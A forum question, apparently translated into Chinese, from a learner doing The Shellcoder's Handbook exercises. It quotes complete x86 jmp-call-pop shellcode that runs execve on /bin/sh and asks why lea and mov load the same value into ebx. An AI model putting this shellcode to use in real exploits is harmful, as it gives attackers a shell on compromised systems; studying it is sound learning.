我正在完成 shellcoders 手册中的练习。
Section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
GotoCall:
Call shellcode
db ‘/bin/shJAAAAKKKK’
此代码工作正常,但我不理解这些行lea ebx, [esi]
和mov ebx, esi
,它们都将相同的值存储到 ebx 中。事实上,如果我通过 gdb 运行它,我可以看到寄存器值没有改变。
我知道 mov 访问地址处的值,而 lea 仅访问地址。如果这种情况下的 mov 指令在 mov ebx, [esi] 中的 esi 周围有括号 - 那么我可以看到差异,但事实并非如此,我错过了什么?